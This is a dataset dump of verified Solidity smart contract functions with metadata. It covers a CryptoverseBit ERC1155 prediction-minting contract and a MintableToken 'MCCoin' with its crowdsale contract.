contract_name stringlengths 1 61 | file_path stringlengths 5 50.4k | contract_address stringlengths 42 42 | language stringclasses 1
value | class_name stringlengths 1 61 | class_code stringlengths 4 330k | class_documentation stringlengths 0 29.1k | class_documentation_type stringclasses 6
values | func_name stringlengths 0 62 | func_code stringlengths 1 303k | func_documentation stringlengths 2 14.9k | func_documentation_type stringclasses 4
values | compiler_version stringlengths 15 42 | license_type stringclasses 14
values | swarm_source stringlengths 0 71 | meta dict | __index_level_0__ int64 0 60.4k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | numDecimals | function numDecimals() public view returns (uint8) {
return _numDecimals;
}
| /**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
3344,
3435
]
} | 11,200 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | setUriBase | function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
| /**
* Sets uri base.
*
* @param uriBase uri base
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
3517,
3614
]
} | 11,201 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | uri | function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
| /**
* Return uri.
*
* @param tokenId token id
* @return token url
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
3718,
3899
]
} | 11,202 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | setSeries | function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
| /**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
4105,
4447
]
} | 11,203 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | seriesLimit | function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
| /**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
4566,
4688
]
} | 11,204 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | seriesMintPrice | function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
| /**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
4818,
4948
]
} | 11,205 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | seriesMints | function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
| /**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
5116,
5237
]
} | 11,206 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | mint | function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPric... | /**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param pr... | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
5742,
6775
]
} | 11,207 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | setResult | function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tok... | /**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual valu... | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
7347,
7928
]
} | 11,208 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | prediction | function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
| /**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
8101,
8227
]
} | 11,209 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | result | function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 ... | /**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
8388,
9637
]
} | 11,210 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | balance | function balance() public view returns (uint256) {
return address(this).balance;
}
| /**
* Returns balance of this contract.
*
* @return contract balance
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
9735,
9833
]
} | 11,211 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | withdraw | function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
| /**
* Withdraws the balance.
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
9885,
9994
]
} | 11,212 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | generateLuckyNum | function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
| /**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
10273,
10534
]
} | 11,213 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | calculateScore | function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
... | /**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
10780,
11325
]
} | 11,214 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | calculateTotalScore | function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a +... | /**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
11606,
12021
]
} | 11,215 | ||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, u... | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | strConcat | function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[... | /**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
12165,
12617
]
} | 11,216 | ||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uin... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_va... | /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
282,
705
]
} | 11,217 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uin... | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
921,
1041
]
} | 11,218 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
... | /**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
415,
903
]
} | 11,219 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
| /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* ... | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
1555,
1761
]
} | 11,220 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | allowance | function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
2097,
2236
]
} | 11,221 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | increaseApproval | function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
| /**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spend... | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
2722,
3002
]
} | 11,222 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want... | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | decreaseApproval | function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}... | /**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spend... | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
3493,
3943
]
} | 11,223 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner ... | Ownable | function Ownable() public {
owner = msg.sender;
}
| /**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
273,
341
]
} | 11,224 | |||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner ... | transferOwnership | function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
690,
882
]
} | 11,225 | |||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | MintableToken | contract MintableToken is StandardToken, Ownable {
string public constant name = "MCCoin";
string public constant symbol = "MCC";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
mod... | mint | function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
| /**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
646,
941
]
} | 11,226 | |||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | MintableToken | contract MintableToken is StandardToken, Ownable {
string public constant name = "MCCoin";
string public constant symbol = "MCC";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
mod... | finishMinting | function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
| /**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/ | NatSpecMultiLine | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
1066,
1224
]
} | 11,227 | |||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units ... | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they a... | NatSpecMultiLine | createTokenContract | function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
| // creates the token to be sold.
// override this method to have crowdsale of a specific mintable token. | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
1259,
1373
]
} | 11,228 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units ... | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they a... | NatSpecMultiLine | function () external payable {
buyTokens(msg.sender);
}
| // fallback function can be used to buy tokens | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
1428,
1502
]
} | 11,229 | ||
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
// address where funds are collected
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
// how many token units ... | /**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale.
* Crowdsales have a start and end timestamps, where investors can make
* token purchases and the crowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they a... | NatSpecMultiLine | buyTokens | function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate).mul(getCurrentBonus()).div(100);
... | // low level token purchase function | LineComment | v0.4.20-nightly.2018.1.29+commit.a668b9de | bzzr://5312c5545bddae926e1ef3d42279212a0c7cf69c21f429c3d3880f091462c9a2 | {
"func_code_index": [
1547,
2109
]
} | 11,230 | |
MintableToken | MintableToken.sol | 0x4c073c892083fcf6b416169b73c1df5f6570347a | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
